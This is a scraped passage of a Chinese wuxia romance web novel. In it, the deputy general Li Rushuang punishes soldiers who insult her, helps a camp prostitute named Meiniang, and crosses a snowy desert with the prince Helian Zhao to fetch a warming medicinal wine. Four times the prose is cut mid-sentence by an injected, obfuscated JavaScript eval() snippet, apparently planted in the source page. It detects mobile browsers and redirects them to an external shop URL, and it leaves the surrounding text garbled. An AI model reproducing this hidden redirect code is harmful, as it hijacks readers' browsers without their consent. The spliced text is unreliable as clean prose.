只听账内传出一句:“说她几句还不乐意了,老子花钱她出身子,装你奶奶的!”似乎还有几个男人,附和地骂了几句。 本以为这只是军妓和士兵的矛盾,突然话题转到了她身上。 “你们说,咱们副将也是个女的,长得比那妓子还周正,就是不知滋味如何......” 李如霜仿佛能想象到那人□□恶心的嘴脸,耳闻着越说越离谱,赫连昭实在听不下去,便要进去替李如霜教训那几人。 谁知她却把赫连昭拦下,一鞭子穿进账内卷了一个人出来,她听声辨位不用进去便知里面几人的位置。 那人还光着身子,根本没反应过来发生了什么事,便躺在了雪里,头顶是李如霜和赫连昭二人。他这才明白,自己背后编排人的话被本尊听见了。 路过的巡夜兵虽然好奇,但看见主帅和副将都在,也不便掺和,继续巡逻去了。 地上的士兵冻得发抖,他蜷缩着身子朝赫连昭求饶。李如霜抽了他一下道:“瞅着我说。”那人被她锐利的眼神盯住,知道自己难逃一劫,于是捂着下身,冲着李如霜磕起头来。 他帐中余下几人出来,其中一个满脸横肉,五大三粗的壮汉看到此人在李如霜面前如此卑微,觉得恨铁不成钢,上去把他揪起来,淬了李如霜一口:“不就说了几句,何至如此,什么副将,我看也跟那婊子一样!” 此话一出,赫连昭倏地感受到李如霜身上寒气更甚,这个情况真吃不准她会做出什么事情。他凑到李如霜耳边,让她把这件事交给自己处理。 李如霜没有理他,伸手拔出巡逻兵的刀横在那壮汉的侧颈,壮汉根本不信她会杀了自己,便要挣脱了来,可那刀如有千斤纹丝不动。他觉得众目睽睽之下颜面尽失,羞愤得张牙舞爪地来抓李如霜。 她抬脚踢断他的膝盖,壮汉扑通一声跪在面前,可那双手仍然不安分。 李如霜眼中冒着冷光,赫连昭察觉到她身上的杀气突然外露。壮汉只感觉自己左肩一凉,肩膀的布料连同手臂齐齐被削了下来,躺在旁边,手还动着。 他一时感觉不到疼,睁大了眼睛惊愕地看着自己的胳膊,转头指着李如霜,忽地捂住淌血的截口,哀嚎在地。 李如霜把刀还给巡逻兵,那巡逻兵似是被她吓到,手有些发抖。 “军营之中,下级忤逆上级,没杀你算我开恩。”她俯视着地上的两个人,那光着身子的人看到同伴瞬间被断了手臂,害怕极了,即便冻得不行也紧咬牙关不敢出声。 她环视四周,看清了所有人的表情,随即用着在场人都能听到的音量喝道:“军营之中,最讲纪律,今日之事若有人再犯,下场就如此人。”李如霜用鞭子指着壮汉。 撂下一句狠话,李如霜转身回了自己的营帐。剩下的士兵把两个半死不活的人抬进帐子,经此一事他们便知,副将虽是个女郎,却断臂不眨眼,活脱脱的玉面阎罗。 李如霜坐着扶额,长长地叹了一口气。军中立威她早就应该做了,只是毕竟在赫连的军队,她不好发挥,才助长了这些口舌之风。 她走后,赫连昭又把李如霜的话重复了一遍,还踢倒了帐子解气,声称如果再有人违抗副将,便和他不客气。但显然没有刚刚李如霜那番吓人,等他再去找李如霜的时候,却发现她并不在营帐中。 回到营帐中,李如霜想起刚刚从帐子里出来的军妓,看样子还被打了,她便拿点药问了下军妓住的地方。 一进里面,几十个穿着粗布的女人三三俩俩地坐在一起,角落里一群围着刚刚跑出来的女人。这些军妓样貌不比青楼中的女子,也不需什么出众的才华,军营中她们的客人就是士兵,给一次钱服侍一晚,之后再和其他人。 她们看到李如霜进来,一个个都好奇地睁大了双眼盯着她,那一群见她走过来有些无措地让开了道。 “我看到你受伤了,送点药来。”李如霜把一盒金疮药膏放在那女子手里。 女子眼睛红肿,咬着嘴唇,楚楚可怜地问:“你是谁?” “我是军中副将。”李如霜回道。 那女子打开盖子,用食指从盒中沾了点膏体,抹在嘴角,自我菲薄道:“同是女子,你却可以当将军,而我们都是千人骑万人压的命。” 李如霜听了这话心里不是滋味,提了口气张嘴想说些什么,终是没说一字。 若她反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632991|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说一些无关痛痒安慰女子的话,就会被认为她是那居于高处的上位者,不识烟柳女子疾苦。若她承认这个事实,却又太不近人情。 听着那女子哭诉士兵的粗鲁,李如霜问道:“你才刚开始干这行?” 女子惊讶,原本低着头的她猛地看向她,“你怎么知道的?” “长期游走在军营的早就麻木了,知道自己的客人都什么德行,哪像你一样脆弱。”李如霜曾经还在李家军中时,父亲会让她离这些女人远点,可她喜欢军妓营帐中的那些脂粉,便偷偷去看。 一来二去那些事情都了解个透,有的人只为了钱并不把自己身体当回事,还算把自己的命运看得通透。还有人常常哀怨,有人则无法接受刚到军中几天就自戕了。还有的是被俘虏的女子,常常遭受着非人的待遇。 那女子听了喃喃道:“也许我以后也会麻木的。” 帐子中正安静,突然进来一个女人,对那女子说道:“梅娘,西边刘老将军点名要你。” 周围的女人听了,窃窃私语起来。 “她一个新来的,还生过孩子,就长得漂亮点便能去将军那了。” “也好,她若是被老将军看上,连同她那孩子都有着落了” 李如霜见她面颊熏红,嘴唇色白,急忙贴上她的脑门,发烧了!许是刚刚惊唬急忿,又挨了冻。 眼见着梅娘朝着帐外走去,李如霜一把拉住她道:“你别去了,身子会吃不消。” 梅娘见她满眼担心,苦笑地掰开她的手。 “我能有什么办法,你也听到了,我还有个孩子,说不定今晚被看上,我们母女都好了。”梅娘顿了一下,“没被看上,赏点银子也是好的。” 说完拉开帘子,寒风凛冽,吹得她发丝飞扬,单薄的衣物堪堪罩住身体。梅娘回头望着李如霜,看着她担心的神情,勉强地笑了笑,随即消失在她的视线里。 李如霜有些失落,突地冲出去拉住她,褪下手上的金镯子放在她口袋里,“今你我有缘,我虽然救不了所有人,但可以救你,这镯子值不少钱,你带着孩子另谋生路吧。” 梅娘摸着兜里的镯子,艰难抉择,李如霜怕她把镯子还她,立马头也不回地走了。 至于梅娘怎么选择,她也管不着。 赫连昭一直在李如霜的帐内等着,见她怕被什么人追上似的,匆匆跑了进来。 “怎么了?”他担心地问。 李如霜摆摆手表示没事,平复了一下呼吸。 赫连昭贼兮兮地递给她一个橘子道:“公主真是好大的威风,经过刚才那么一遭,便令营中将士闻风丧胆,在下佩服。” 他做了个拱手的姿势,似是十分崇拜她。 李如霜心中仍然对他有气,冷冷地看了他一眼,扒开橘子道:“你没别的事干?我要睡了。” 赫连昭怎知她还在生气,也不知道因为点什么,心想只好等她气消之后再来。于是连忙换上一副笑脸,边往出走边说:“好好好,睡睡睡,副将做个好梦。” 5. 风雪兼程 “藩贼葛连虎居于边陲达鲁古,我们这里冰雪消融之时,那仍旧严寒无比。此去路途遥远,等到那时候,他早已扩张了自己的势力,若被他们抢先占领了棱赤峰这个虎门关,将会是一场持久战,耗费人力物力不计其数。” 李如霜与赫连刘老将刘惕守僵持不下,依刘将军所言,必得等到春暖花开之时才能行军,否则防寒用具不够,士兵冻伤冻死极其削减士气。 此时王室军是被架到了一个两难之地,左右都不可。 刘惕守在心底埋怨王上派了十王子过来,这个什么都不懂的十王子整天在伙房做饭,身边还跟个颇有胆识的小姑娘。这个组合在他们赫连军队中,简直是空前绝后只此一例。 他们本不将李如霜的想法放在眼里,但听闻昨日她的行径,再看着脸上面具可怖,心中总有所忌惮。 李如霜又继续说:“我军就不能多增加一些防寒的物资吗?若不是顾虑到温度,此刻最好的选择就是立即北上!”她如何不知军队若是遭受寒冷侵蚀,便是极大的折耗,不仅无法伤到敌军一兵一卒,反而自损八百。 但如果做好防寒措施,绝对没问题,这赫连将领太过保守,一点也没有赫连王的那股与天斗与地斗的狠劲。 军营伙房内,赫连昭刚把排骨焯完水,舀一勺糖下油炒糖色。就有小将来报,说副将和将军吵起来了,赫连昭立马解下布襜,进了商议军事的营帐。 里面果然剑拔弩张,几人都不说话,李如霜眉间拧成了一个川字,可以想见他们之前经历了多激烈的争斗。 老将们见赫连昭来,原本坐着的都站了起来,称了句主帅随后便沉默不语,表情和李如霜如出一辙。 见没人搭理自己,赫连昭在主位坐下,好奇地看着桌上的舆图,装作懂的样子仔细端详半天,只在上面找到一个熟悉的地方,就是自己母族的领地。 他们如今所在地延州上立着一面红旗,而它的西北部有处画叉的地方就是北寒冰室的城池西漠。 “刘伯你们吵什么呢?”赫连昭摆出一副王子的架子道,刘惕守把所有事情一五一十地告诉了赫连昭。 十王子这样年轻,整天不干正事,告诉他能顶什么用,刘将军暗自摇摇头。 谁知赫连昭沉吟一会儿,突然灵光乍现,大呼:“军队御寒和进军时机的问题,在我看来解决方法很简单!” 众人抱着胳膊,似是不相信他能想出什么锦囊妙计,故仍是幅愁眉锁眼的样子。李如霜走近了来,探究地盯着他道:“你真有办法?” 赫连昭自信地用大拇指抹一下鼻子,“那当然。” “我们在商议行军大事,若是玩笑话就不必说了。”李如霜忍不住多说了一嘴,下秒就后悔了。这句果真说错,登时赫连昭的面色就暗了三分。 赫连昭被李如霜怀疑的眼神盯着,倏地鼻头一酸,转过头去吸了吸鼻子。 他怎能看不出,他这个主帅只是徒有虚名罢了,军中人人尊他为主帅,只是畏惧他王子的身份。要不是靠着李如霜在身边提点着自己,不知会惹出多少啼笑皆非的乱子。 现在就连李如霜也认为他一无是处,只会玩笑,赫连昭甚是委屈。 他强装无事,指着北寒冰室的地点道:“北寒冰室有一种药酒叫烈焰风,喝了之后便可驱寒,像我一般光着膀子都不怕冷,可解气候寒冷之难。” 随即指尖又滑到九原,经他这么一比划,延州、西漠和九原恰好连成一个三角。“九原这里有我王室军营寨,咱们营寨八万军加上从长安带来的五万军,一共十三万兵力,行军到九原需要多久?” 李如霜不假思索地回道:“半月。” 赫连昭胸中有了底,便抬起头说出了自己的想法:“以我的脚程,去西漠再到九原也差不多半月,这就够了,你们即刻行军吧。” “王子你想得太简单......”几名老将下意识反驳的话说到一半,忽地噤了声。他们瞠目结舌,眼角紧皱,细细一想竟都觉得此法确实可行。 “那就这么办?”刘惕守有点拿不准,这话是在征询李如霜的意见。 李如霜见他们都看着自己,等着她下决定,有点不知所措。她吸了一口气摸了摸鼻子,把虎符从自己怀中掏出来,扔给赫连昭道:“那个,刚刚主帅不是下命令了吗,即刻启程!” “是!”困扰了几天的问题被解决,将军们心中敞亮,回答得干脆,对这个小王子的看法改观不少。 赫连昭拿回虎符,紧紧握于手中。 许久没有回舅舅那,赫连昭还有些激动。他三下五除二就收拾好了包裹,系成两个兜挂在马背上,掂了掂扎实的钱袋子,牵着缰绳侧身轻靠在马身上。他只愿一路顺风,安安稳稳地将烈焰风的药引带到九原。 他又将包袱扎得更紧,摩挲一下马颈心中踏实了点,这才踩了马镫骑上去。 “赫连昭!”忽听身后急切的呼喊,他调转马头回望,只见李如霜策马向自己奔来。 他还记着李如霜在老将军面前将他看扁的事,于是决心等她到了跟前,也摆出一副臭脸。 “你怎么来了?”赫连煜故作阴沉问道。 李如霜先前跟他摆了几下架子,如今赫连昭要走却后悔了。现下突然变得和颜悦色对他嘘寒问暖,以她的性格也做不到,于是这位面上也没有好颜色。 她不看着他,只看着远处道:“我怕你那三脚猫功夫遇到什么麻烦,两个人一起上路稳些。” 赫连昭倒暗暗琢磨出点滋味来,这女人关心他,但那争强好胜的性子真是让人又气又无可奈何,他想着想着不禁面容和缓嘴角上扬。 他复又觉得李如霜说的这句话有些熟悉,好似在哪里听过,便问:“你是不是以前也嘲笑过我的功夫?”赫连昭知道自己忘了很多事情,煜哥与贤仁公主是故交,那他以前是不是也和她相识。 李如霜闻言微怔,想起在黄城时,几位少年人的往事,眼睛酸涩,“那是自然,你的武功虽然在同龄人里已是上乘,但在我眼中还是不够看。” 赫连昭听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632992|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话,顿时拉下脸,用鞭子狠狠抽出响声,脚磕了下马肚子窜出去。 李如霜不知哪里说错,引来如此大的反应,策马追了上去。 两人进入闹城行了不久,突然觉得背后有人在跟踪,他们便停下来。李如霜敞开气海,调用真气勘察四周,并无内力深厚的高手。 她和赫连昭引着身后之人到一处窄巷,随后迅速屏气跳上旁边的屋顶,伏低身子默默观察。 跟踪他们的人骑着一匹劣马,用头巾把自己捂得严严实实,前面还坐着一个小女孩。那人跟着到了窄巷,却发现李如霜和赫连昭消失得无影无踪,只剩下两匹马打着响鼻。 李如霜觉着这身影甚是眼熟,她还没开口,赫连昭已经下去掐住了那人的脖子。 他掀开那人的头巾,是个女人,她前面的孩子被这阵仗吓得哭起来,李如霜单脚落地,看清女人的脸,惊讶道:“梅娘!” 跟踪他们的人正是收了她金镯子的梅娘,李如霜不知她和孩子谋的什么出路,竟跟着他们出了军营。 “赫连昭,松开手吧,我认识她。” 梅娘脖子得到松余,一下子空气进入肺部咳嗽起来。她下了马,把还在哭的女儿抱下来,母女双双朝李如霜跪下挤出几滴清泪道:“梅娘愿为副将做牛做马,请您收留我们娘俩吧。” “这是干什么!”李如霜忙将她扶起,询问过后才知,那晚她还是去了刘惕守帐中,如她所愿刘将军看上了梅娘的脸蛋,有收作小妾的意愿,谁能料到他床上折磨人的功夫了得,梅娘几乎丢了半条命。 如果跟了刘惕守,她恐怕福到跟前都没命享。 李如霜听了直摇头,心想刘将军带兵老练,从无败绩,没想到竟有此腌臜癖好。 “将军!副将!行行好,带上我们吧,金镯子换来了一匹马,我们母女也不知何处安身呐!”梅娘抽抽搭搭地哭起来。 寒风中哭泣,泪落下也似刀子,将脸灼得留下两条红痕。 李如霜皱着眉,两手摊开迅速抹去梅娘的眼泪,“别哭了,你这布料太薄,我给你买身衣服。”她虽然可怜梅娘,但也在心底责她不识货,那金镯子可是爹爹花高价,请燕京名匠打的,都能买一座酒楼,她就换了这匹不值钱的马。 转念一想,自己也没有告诉她镯子的价值,梅娘怎能得知,心想以后送别人东西一定把价格说出来。 小女孩跟着他们一直哭,赫连昭将她抱在臂弯里,哄了好久,许是一路奔波受冻累着了,一进客栈便睡了过去。 她和赫连昭此次行程无法耽搁,又实在无法抛下梅娘,李如霜买了个软座安在马上,让那孩子即便在行程中也可以睡觉休息。 而梅娘真做起了丫鬟的活,替李如霜铺被补衣,打理得很是利索。 歇息一晚,他们再不停留。临行前,李如霜将自己身上从自家带来防寒的锦貂皮给梅娘的孩子裹上,这锦貂皮穿上寒气丝毫无法入体。 这一路风霜她怕孩子熬不过,他们这些大人比孩子总是要强一些。 6. 大漠荒雪 大漠雪漫荒原,方圆四百里内无人烟。 他们一路沉默疾奔了一天一夜,马累得耷拉着耳朵,无论怎么鞭打都不肯动了。李如霜环顾四周皆是一片白茫茫,他们已经深入大漠,没有酒家或者人家可供他们歇息。 梅娘突然从马上跌下来,李如霜吓了一跳,立刻下马搀着她,只见梅娘双手乱扑道:“我怎么看不见了!”她慌极怕极,死死揪住李如霜的袖子。 李如霜在她眼前晃了晃,朝赫连昭喊道:“她得了雪盲!”她的声音被雪吞走,赫连昭听不清,只好走近蹲下来,才发现梅娘看不见人。 “马走不了,我们先歇一下。”赫连昭小的时候被接到北寒冰室抚养,大漠的情况他很清楚,雪盲症没个一天两天是恢复不了的,他让梅娘闭上眼睛,慢慢使眼睛缓过来。 看着一望无垠的雪地,赫连昭脑海中闪过一些片段。往来北寒冰室的路都十分凶险,不仅有雪暴,还有雪狼,稍有不慎便会命丧黄泉。小时候他和舅舅似乎也被滞留在这个地方,那时舅舅挖了个雪屋。他踩了踩脚下,感受着雪的厚度,有十多尺,足够挖一个雪屋。 赫连昭抽出挂在马身上的长刀,在地上划了个几尺见方的方田,他往外刨着雪,没有锹只能徒手把雪抓出来。赫连昭的手很烫,雪挨到都化了。李如霜看着他的举动疑惑地问:“你在做什么?” 他手上动作不停道:“做一个能避风雪休息的地方,等到天黑雪狼会出来,我们不能这么干坐着。” 李如霜见状,也上手帮忙,结果没挖几下,手忽地被赫连昭攥住。赫连昭看着她通红的手很是扎眼,直说自己不怕冷一个人干就行,把她赶到一旁照顾梅娘。 他动作很快,先向下挖了十几尺,再借着刀于旁边凿了个雪窟,李如霜扶着梅娘下去,把她放在赫连昭做的雪床上,她的女儿则缩在梅娘臂弯里。 赫连昭又在另一边挖了个大坑,把马都放了进来,四人三马就这样缩在雪下的小屋中。 现下终于停顿在一个安全的地方,虽然不太舒适,但勉强可以遮风避寒。李如霜一直精神紧绷,靠在雪墙上一下子松了劲,闭上眼睛昏睡过去。 赫连昭不敢睡得太死,一直眯着,听到几声狼嚎猛地惊醒,他用融雪在坑顶做了个盖子,雪狼应当不会找到他们。 他心突突地跳,完全失了睡意,静静地看着李如霜的睡颜。 李如霜头侧着靠在墙上,眉头紧绷,面上有些红,似乎有些呼吸不畅,她难受地呢喃一声。 赫连昭察觉不对劲,挪到李如霜身边贴了贴她的脸,暗道不好,竟然发烧了。李如霜感觉到有人拍她,挣扎着醒了过来,她眼皮很重,半睁不睁,轻轻哼了一句:“嗯?” 只见赫连昭担忧地看着她,李如霜迷糊中把他失忆这件事忘了,只觉得这时他们还是两年前。赫连昭身上散发着热气熏得她舒服,于是安心地往他怀里一靠,又睡了过去。 发着高热在这茫茫雪海中,是不幸中的不幸,稍有不慎都会丧生。赫连昭连忙运起内力将热气渡给她,李如霜面色痛苦不堪。 顺了一下她全身的脉络,赫连昭让李如霜靠在自己身上,不敢再让她接触冰凉的雪。 此时此刻,他也顾不得什么兄弟妻不可欺了,哪有什么比人的性命重要。 环着温香暖玉,赫连昭呼吸愈渐急促,他闭上眼睛努力克制着,心想自己定要学那坐怀不乱的柳下惠。 李如霜恢复清醒时手脚绵软,感觉自己背后有个温暖的肉垫,雪屋中有些昏暗,她摸索着想撑起身,只听身后闷哼一声,她发觉自己摸错了地方。 顿时脸上羞涩抽回了手,她站起身来,突然后脑针扎一般疼,方才反应过来自己昨晚应是生了寒症发热,赫连昭也是为了救她才抱着自己。 她凑近赫连昭沉睡的脸,数着他浓密的睫毛,突然赫连昭睁开眼睛“哇”了一声,把李如霜吓得连连后退,赫连昭得逞,指着她笑起来。 李如霜嗔怒,却也没劲去和赫连昭玩闹,转身把梅娘叫醒,但梅娘仍然看不清东西。梅娘自知他们赶路紧急,便说自己闭着眼睛也能跟上他们,不用照顾她。 说得轻巧,她看不见,更何况还带着一个孩子,哪能在这冰天雪地里跟上两个武功高强人的脚步。 最后他们舍了那匹劣马,赫连昭为了让李如霜轻快些,便让她和孩子同乘一马,他与梅娘同乘上了路。 呼啸的风雪吹乱所有人的心弦,大漠寂静无声,他们一路无言,心中却一团乱麻。 李如霜频频侧目看着赫连昭拥着的梅娘,有些吃味。倏地马被绊了一下有些受惊,李如霜立即绷直缰绳,再不想其他,集中精力紧紧护着身前软座中的女孩。 不知不觉又行将夜色,他们马不停蹄仍旧在雪中穿行。 突然,李如霜身下的马四蹄胡乱蹬着,掉在地上惊厥不止,李如霜被甩了出去。她将孩子抱在怀中,稳住身形欲双脚落地,许是寒症还没恢复的原因,手脚使不上力,她后跟磕进雪中,背部重重摔在地上。 “啊!”她惊叫了一声,只觉自己的五脏六腑都震得裂开。 赫连昭连忙勒住马,立即下来扶起李如霜,她缓了缓觉得身上没什么大问题,便摆摆手让他不要担心。李如霜走近倒下的马,摸着它的眼睛,发觉它已经死了,只剩下一匹马根本驼不动他们四个人,她瞬间感觉无力又无措。 没有马,她单凭内力虽然走得飞快无比,但却坚持不了多久。而那边赫连王室军还等着北寒冰室的药引,这可万万耽误不得。 “赫连昭,孩子跟着你们快走,我随后就赶过来。”李如霜很快便下了决定,她自己武功不弱,应当不会栽在这个地方。 赫连昭坚决不同意,执意要让她上马,而自己下来用内力赶路。李如霜拗不过他,只好答应又行了一阵。刚开始赫连昭还能轻松跟上,可慢慢地便步伐凌乱,呼吸加重落后了。 李如霜停下来等他,觉得这样不可,“那药引只有你能拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632993|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,带着他们母女赶紧走。” “我怎么能抛下你,大漠雪寒,万一有个三长两短,便叫天天不灵,叫地地不应......”赫连昭有些语无伦次,李如霜打断他:“你先上马,我再跟你细说。” 赫连昭被李如霜推着坐了上去,李如霜把缰绳递给他,“抓紧了,待会......”不料她只说了两个字,随即使出三成内力,用扶蛇抽向马腿,那马猝不及防,如离线的箭一般窜出老远。 赫连昭慌忙俯下身子,回头看着愈来愈远的李如霜,又惊又气。这女人居然铁了心的不想拖累他,赫连昭死死勒着马,想让它停下来,可这马被李如霜抽那么一下,竟什么都不顾,不要命地向前跑。 李如霜看着三人离去,心想赫连昭还是那么好骗。 她从怀中掏出那袋肉干,取了一大块放在嘴里嚼着,长长舒了一口气。这寒风吹着还是有点冷,早知道她就把锦貂皮要回来再赶他们走了。 李如霜摸了摸腰间挂着的酒囊,里面是她临走前在赫连煜那装的寒霜冬。琵衔被赫连煜扣下酿了音吕阁的四季酒,而四季酒中的寒霜冬,喝下遍体生凉,随即浑身发热不惧严寒,与北寒冰室的烈焰风有异曲同工之处。 她上一次喝还是冬至的时候,在尺茽姐姐那讨的一盏。 琵衔这个阁主把所有烂摊子扔给尺茽,自己到处逍遥去了,天下之大连个音讯也没有。若是能找到他,她也学着赫连煜扣下他,逼着酿个几百坛寒霜冬给将士们喝下,随后直接进军掀翻藩贼的窝,何必冒着风雪来北寒冰室。 拔下酒囊塞子,李如霜猛地灌了一大口,凉意顺着喉咙流入腹部,冷到骨子里,她不禁打了个寒战,不过很快,她身子便暖了起来,顿时浑身都生了力气。 既然赫连昭已经前去了,她也不耽搁,甩开脚疾奔。 她轻功不太好,心想如果把赫连煜那招飞鸿踏雪泥学来,就不用这样费劲了。李如霜行了大概几里,突然被一阵强劲的涡旋挡住,风太大,雪不住地往她脸上刮,她伸手挡在眼睛前。 这旋风几乎将她卷进去,李如霜赶紧拿出扶蛇,催动内力真气倾贯而出,消解了那妖风。 “哈哈哈小妮子不错呀,老夫的风雪旋都能解开。”一个男人身穿墨绿披风,腰间挂着酒葫芦从风雪旋后走了出来,他看着也就不惑之年,却发丝皆白。 李如霜提高了警惕,“你是谁?” 莫从南不知她这话从何说起,白色的眉毛挑起来,疑惑道:“赫连昭那小子失忆了,你也失忆了?” “别磨磨唧唧的,我根本没见过你。”李如霜没时间跟他废话。 莫从南看她握着鞭子蓄势待发,连忙双手挡在前面,上下打量她一番悠悠地开口:“腰间一条黑蛇,气质出尘宛若天女下凡,这可是我那外甥的原话,我一看就是你,李如霜!” 见自己的身份暴露,李如霜暗自纳闷,忽然想到什么恍然大悟。 “你是赫连昭的舅舅,莫从南!” 7. 雪域琉璃殿 莫从南嘿嘿一笑,叉着腰道:“正是!” 赫连昭和他舅舅性格真像,一样的吊儿郎当,一样的无拘无束。 李如霜收回扶蛇,指着刚才赫连昭离去的方向道:“话说,你要是找赫连昭的话,他在前面。”刚才调动内力,酒劲都没了,此刻她身上凉下来有些受不了,于是又饮了一口寒霜冬。 谁知莫从南神神秘秘地靠过来,“我找他干什么,我来找外甥媳妇。”说罢,他一把揪住李如霜后领,纵身而起,拎着她一跃八千里到了一宫殿前。 这宫殿乍一看竟是用雪雕成的,李如霜见识不算少,此刻还是被震撼得两眼发直。宫殿的雪墙坚硬无比,她用拳头试了试,如铜墙铁壁。 “小丫头,快进来吧!”莫从南做了个请的手势。 这里面的温度较外面也不遑多让,整个宫殿内部艳彩淋漓,明亮非常。宫殿内壁竟是琉璃垒成,有些地方没被雪盖住,阳光照进来晶莹剔透,精美绝伦。 正好嗓子有些干,李如霜坐下拿起莫从南刚倒的茶水润润喉,她没设防,喝下那水顺着喉咙辣到胃里。她捂着脖子,重重将杯子往桌上一磕,液体四溅。 “这是什么?”这是,李如霜感觉浑身火热,这个莫从南难道给她下了什么毒,亏她觉得他是赫连昭的舅舅,还对他有些信任。 莫从南自己也倒了一杯,一饮而尽,他手作安抚状道:“屋子太冷了,寻思让你暖和暖和。这个东西呢,你得慢慢感受。” 他从上往下缓慢地比划着,告诉李如霜要顺从杯中的液体,让它蔓延到全身。 李如霜只感觉从喉咙到胃烧得慌,她听莫从南的话放松紧绷的身体,让热流涌向全身。 “这难道是......烈焰风?”李如霜也只是猜测,赫连昭说北寒冰室有这种可以暖身的药酒,她想其功能和自己刚喝的差不多。 突然一道声音响起:“没错,就是烈焰风。” 李如霜和莫从南都被这声音吸引,抬头望去,一人从琉璃阶上迈着步子不紧不慢地下来。 莫从南最会识人,还爱八卦,江湖中但凡有点名气的人,他都能挖到其有何特征,是何个性。下来这人面戴金丝面具,肩上趴着只赤首蓝身的夜莺,还背了一把名琴金翠羽,赫赫有名不用问便知是谁。 李如霜惊呼:“琵衔!” 那人没被面具遮住的嘴勾起,原来这个把宫殿当自己家的神秘男人就是音吕阁阁主琵衔。 莫从南出去绕着宫殿看了一圈,又进来四处观察着,末了指着琵衔难以置信地说:“我还以为这是你家呢,不是,你怎么能随便进我这宫殿呢?” 琵衔肩上的夜莺开口:“你这宫殿没有门,我自然是想进就进了。”那夜莺发出的声音居然和人声无异。 莫从南围着他细细打量,突然有些不解,“我记得音吕阁阁主是个女子,看你这身量不太像,难道你是冒充的?” 李如霜哭笑不得,知道琵衔为男子的人不多。他男生女相,当初音吕阁开肆,只弹了一曲琵琶曲,再现身就是在江湖,从没取下过面具。平时讲话也让夜莺代劳,让别人都以为他是个貌美的女子。 “没想到咱们居然在这见面了。”琵衔也没预料到李如霜在这里,他来西北寻找一味酿酒的材料,为了躲风雪便进了这宫殿,没想到里面居然有几坛好酒。 李如霜来到赫连,接连与故人重逢很是高兴,畅快地请他坐下。 他俩真不客气,直接拿着莫从南的酒喝起来,“琵衔你音吕阁的寒霜冬比这烈焰风差远了,人家这个喝上许久也未见酒劲散去,你那个就是昙花一现,在酷寒的地方起不了大作用啊。” 琵衔喝着那烈焰风,只听夜莺说道:“我那寒霜冬是供客人享乐的花酒,这烈焰风是药酒,不一样。” 李如霜一想也是,看来他们的燃眉之急,只有这烈焰风可解啊。 一旁站着的莫从南被他俩晾在一边,还喝着他的酒,一时分不清到底谁才是主人。 他气恼地坐在李如霜旁边,暗戳戳有点赶人的意思问道:“你刚刚不是还急着赶路,怎么还闲聊上了?” 李如霜刚刚确实急着追上赫连昭,还嫌莫从南挡路,差点跟他打一架。可知道他是何人,又喝到了这烈焰风,就不着急了。 她不怀好意地笑了笑,没回答他的问题,反过来叫了他一声“舅舅~” 莫从南被叫得起了鸡皮疙瘩,他突然有种不祥的预感。 “我要去西漠,你轻车熟路的,捎我一程吧。”她讨好地睁着无辜的眼睛看着莫从南。 莫从南闭着眼睛拍了拍脑袋,又看了眼气定神闲的琵衔,没好气地点着他跟前的桌子说:“你要去哪啊,不能在我这里一直赖着。” 夜莺叫道:“你们去哪我去哪。”他仍是喝着酒,仿佛在细品里面的酿造工艺。 琵衔一直操控着夜莺讲话,莫从南就没听过他说一句人语。 莫从南摊开手,心想罢了,谁让他想不开,主动惹上了外甥媳妇,怎么着都得负责到底。他俩人生地不熟,还是得让他这个东道主来带路。 他从地下拽出了拴着四头骆驼的鸾车,上面铃铛叮当响个不停,李如霜喜欢各种带毛的动物,骆驼她没见过,很是新奇。 她摸了摸骆驼的驼峰,骆驼感受到她的触摸,摇着尾巴往后退了几步。李如霜被逗笑,心想这个家伙还蛮害羞。 莫从南来来回回往车上捯饬了许多东西,他搬着一个酒坛子费劲地放下,看见李如霜在旁边逗弄骆驼,喊道:“小丫头,快来帮忙!” 李如霜闻言应了一声,便跟着他一起搬。完事之后,车上都堆满了,他们坐下都比较勉强。莫从南和琵衔分别坐在车内两侧,而李如霜坐于里侧。 “你带这么多东西干嘛,这样太笨重了。”李如霜不解地问。 莫从南递给她一袋葡萄干,“这些都是咱们路上的口粮,还有老爷子让我给他带的酒。” 坐在车中,风雪被隔绝在外,车内还有美酒瓜果肉脯,李如霜实在不敢相信,前几日还在此地性命攸关的她,跟着莫从南可以这样闲适,给她一种出游的错觉。 也不知道赫连昭他们是否安全,李如霜在心中祈祷。 莫从南时不时掀开帘子察看着外面的情况,骆驼没有马快,但胜在稳和持久。外面风雪更大,估摸着已经快到了。他钻进来,看着李如霜仍是那种心事重重的样子,心想这小丫头性子太烈,他摇摇头。 再看琵衔,双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 